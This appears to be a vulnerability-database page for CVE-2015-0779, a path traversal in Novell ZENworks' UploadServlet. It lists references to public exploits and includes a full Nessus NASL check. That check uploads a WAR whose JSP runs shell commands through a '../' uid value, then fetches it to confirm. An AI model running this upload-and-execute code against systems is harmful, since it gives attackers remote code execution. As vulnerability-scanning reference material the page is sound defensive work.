Vulnerabilities > CVE-2015-0779 - Path Traversal vulnerability in Novell Zenworks Configuration Management

047910
CVSS 0.0 - NONE
Attack vector
UNKNOWN
Attack complexity
UNKNOWN
Privileges required
UNKNOWN
Confidentiality impact
UNKNOWN
Integrity impact
UNKNOWN
Availability impact
UNKNOWN
novell
CWE-22
nessus
exploit available
metasploit

Summary

Directory traversal vulnerability in UploadServlet in Novell ZENworks Configuration Management (ZCM) 10 and 11 before 11.3.2 allows remote attackers to execute arbitrary code via a crafted directory name in the uid parameter, in conjunction with a WAR filename in the filename parameter and WAR content in the POST data, a different vulnerability than CVE-2010-5323 and CVE-2010-5324.

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Relative Path Traversal
    An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.
  • Directory Traversal
    An attacker with access to file system resources, either directly or via application logic, will use various file path specification or navigation mechanisms such as ".." in path strings and absolute paths to extend their range of access to inappropriate areas of the file system. The attacker attempts to either explore the file system for recon purposes or access directories and files that are intended to be restricted from their access. Exploring the file system can be achieved through constructing paths presented to directory listing programs, such as "ls" and 'dir', or through specially crafted programs that attempt to explore the file system. The attacker engaging in this type of activity is searching for information that can be used later in a more exploitive attack. Access to restricted directories or files can be achieved through modification of path references utilized by system applications.
  • File System Function Injection, Content Based
    An attack of this type exploits the host's trust in executing remote content including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the attacker and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The attacker exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the attacker knows the standard handling routines and can identify vulnerabilities and entry points they can be exploited by otherwise seemingly normal content. Once the attack is executed, the attackers' program can access relative directories such as C:\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.
  • Using Slashes and URL Encoding Combined to Bypass Validation Logic
    This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. An URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
  • Manipulating Input to File System Calls
    An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

D2sec

nameNovell ZENworks Configuration Management UploadServlet File Upload
urlhttp://www.d2sec.com/exploits/novell_zenworks_configuration_management_uploadservlet_file_upload.html

Exploit-Db

  • descriptionNovell ZENworks Configuration Management Arbitrary File Upload. CVE-2015-0779. Remote exploit for java platform
    fileexploits/java/remote/36964.rb
    idEDB-ID:36964
    last seen2016-02-04
    modified2015-05-08
    platformjava
    port443
    published2015-05-08
    reportermetasploit
    sourcehttps://www.exploit-db.com/download/36964/
    titleNovell ZENworks Configuration Management Arbitrary File Upload
    typeremote
  • descriptionZENworks Configuration Management 11.3.1 - Remote Code Execution. CVE-2015-0779. Webapps exploit for jsp platform
    idEDB-ID:36678
    last seen2016-02-04
    modified2015-04-08
    published2015-04-08
    reporterPedro Ribeiro
    sourcehttps://www.exploit-db.com/download/36678/
    titleZENworks Configuration Management 11.3.1 - Remote Code Execution

Metasploit

descriptionThis module exploits a file upload vulnerability in Novell ZENworks Configuration Management (ZCM, which is part of the ZENworks Suite). The vulnerability exists in the UploadServlet which accepts unauthenticated file uploads and does not check the "uid" parameter for directory traversal characters. This allows an attacker to write anywhere in the file system, and can be abused to deploy a WAR file in the Tomcat webapps directory. ZCM up to (and including) 11.3.1 is vulnerable to this attack. This module has been tested successfully with ZCM 11.3.1 on Windows and Linux. Note that this is a similar vulnerability to ZDI-10-078 / OSVDB-63412 which also has a Metasploit exploit, but it abuses a different parameter of the same servlet.
idMSF:EXPLOIT/MULTI/HTTP/ZENWORKS_CONFIGURATION_MANAGEMENT_UPLOAD
last seen2020-06-01
modified2018-09-15
published2015-05-01
references
reporterRapid7
sourcehttps://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/http/zenworks_configuration_management_upload.rb
titleNovell ZENworks Configuration Management Arbitrary File Upload

Nessus

NASL familyCGI abuses
NASL idNOVELL_ZENWORKS_CONFIGURATION_MANAGEMENT_REMOTE_CODE_EXECUTION.NASL
descriptionThe version of Novell ZENworks Configuration Management (ZCM) running on the remote host is affected by a remote code execution vulnerability due to improper sanitization of user-supplied input to the
last seen2020-06-01
modified2020-06-02
plugin id83289
published2015-05-08
reporterThis script is Copyright (C) 2015-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/83289
titleNovell ZENworks Configuration Management < 11.3.2 Remote Code Execution (intrusive check)
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(83289);
  script_version("1.9");
  script_cvs_date("Date: 2019/11/22");

  script_cve_id("CVE-2015-0779");
  script_bugtraq_id(73949);

  script_name(english:"Novell ZENworks Configuration Management < 11.3.2 Remote Code Execution (intrusive check)");
  script_summary(english:"Attempts to upload and execute web application archive.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server is running a configuration management
application that is affected by a remote code execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The version of Novell ZENworks Configuration Management (ZCM)
running on the remote host is affected by a remote code execution
vulnerability due to improper sanitization of user-supplied input to
the 'uid' POST parameter in the /zenworks/UploadServlet script. An
unauthenticated, remote attacker can exploit this to upload and
execute arbitrary JSP code.");
  script_set_attribute(attribute:"see_also", value:"https://support.microfocus.com/kb/doc.php?id=7015776");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2015/Apr/41");
  script_set_attribute(attribute:"see_also", value:"http://download.novell.com/Download?buildid=l3sAaQ2eGb8~");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Novell ZENworks Configuration Management 11.3.2 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Novell ZENworks Configuration Management UploadServlet File Upload");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Novell ZENworks Configuration Management Arbitrary File Upload');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2015/04/07");
  script_set_attribute(attribute:"patch_publication_date", value:"2014/10/15");
  script_set_attribute(attribute:"plugin_publication_date", value:"2015/05/08");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:novell:zenworks_configuration_management");
  script_end_attributes();

  script_category(ACT_DENIAL);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2015-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("os_fingerprint.nasl", "novell_zenworks_control_center_detect.nasl");
  script_require_keys("installed_sw/zenworks_control_center");
  script_require_ports("Services/www", 443);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("install_func.inc");
include("ssh1_func.inc");
include("zip.inc");

app = "zenworks_control_center";
app_display = "Novell ZENworks Configuration Management";

deploy_time = 20; # seconds to wait for server to deploy

get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:443);

install = get_single_install(app_name:app, port:port);

install_dir = install["path"];

os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
  if ("Windows" >< os)
    cmd = 'ipconfig /all';
  else
    cmd = 'id';

  cmds = make_list(cmd);
}
else cmds = make_list('id', 'ipconfig /all');

cmd_pats = make_array();
cmd_pats['id'] = "uid=[0-9]+.*gid=[0-9]+.*";
cmd_pats['ipconfig /all'] = "Subnet Mask|IP(v(4|6)?)? Address";

vuln = FALSE;

foreach cmd (cmds)
{
  if (cmd == 'id')
    uid = '../../../opt/novell/zenworks/share/tomcat/webapps/';
  else
    uid = '../webapps/';

  jsp_content = '<%@ page language="java" import="java.io.*" %>
<%
Process p = Runtime.getRuntime().exec("'+cmd+'");
String absPath = new java.io.File(application.getRealPath("/")).getParent();
String output= "";
String temp = null;
InputStreamReader reader = new InputStreamReader(p.getInputStream());
BufferedReader stdin = new BufferedReader(reader);

while ((temp = stdin.readLine()) != null)
{
  output += temp;
  if (temp.length() > 0) {output += "\\n";}
}

output += "\\n" + "webapps path is " + absPath + java.io.File.separator + "\\n";
%><%= output %>';

  web_xml = '<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE web-app
PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/j2ee/dtds/web-app_2_3.dtd">

<web-app>
</web-app>';

  temp_file_name = SCRIPT_NAME - ".nasl" + "-" + unixtime();
  files = make_list2(
    make_array("name", "index.jsp", "contents", jsp_content),
    make_array("name", "WEB-INF/web.xml", "contents", web_xml)
  );
  war_file_contents = create_zip(files);
  war_file_name = temp_file_name + ".war";

  path = install_dir + "zenworks/UploadServlet?uid=" + uid + "&filename=" + war_file_name;

  res2 = http_send_recv3(
    method    : "POST",
    item      : path,
    data      : war_file_contents,
    add_headers: make_array("Content-Type", "application/octet-stream"),
    port         : port,
    exit_on_fail : TRUE
  );
  exp_request = http_last_sent_request();

  sleep(deploy_time);

  verify_path = install_dir + temp_file_name  + "/index.jsp";
  res2 = http_send_recv3(
    method       : "GET",
    item         : verify_path,
    port         : port,
    exit_on_fail : TRUE
  );
  output = res2[2];

  if (output !~ cmd_pats[cmd])
    continue;

  vuln = TRUE;

  if (cmd == 'id')
    line_limit = 2;
  else
    line_limit = 10;

  get_up_path = "";
  get_path = strstr(output, "webapps path is ");
  if (!isnull(get_path))
    get_up_path = chomp(get_path) - "webapps path is ";
  break;
}

install_url = build_url(port:port, qs:install_dir);
if (!vuln)
  audit(AUDIT_WEB_APP_NOT_AFFECTED, app_display, install_url);

request_url = build_url(port:port, qs:path);
verify_url = build_url(port:port, qs:verify_path);

security_report_v4(
  port        : port,
  severity    : SECURITY_HOLE,
  cmd         : cmd,
  line_limit  : line_limit,
  request     : make_list(request_url, verify_url),
  output      : chomp(output),
  rep_extra   : '\n' + 'Note that this file has not been removed by Nessus and will need to be' +
                '\n' + 'manually deleted :' + '\n' +
                '\n' + get_up_path + war_file_name + '\n' +
                '\n' + 'Deleting this file will trigger the remote application server to' +
                '\n' + 'undeploy and clean up the ' + temp_file_name + ' directory.'
);

Packetstorm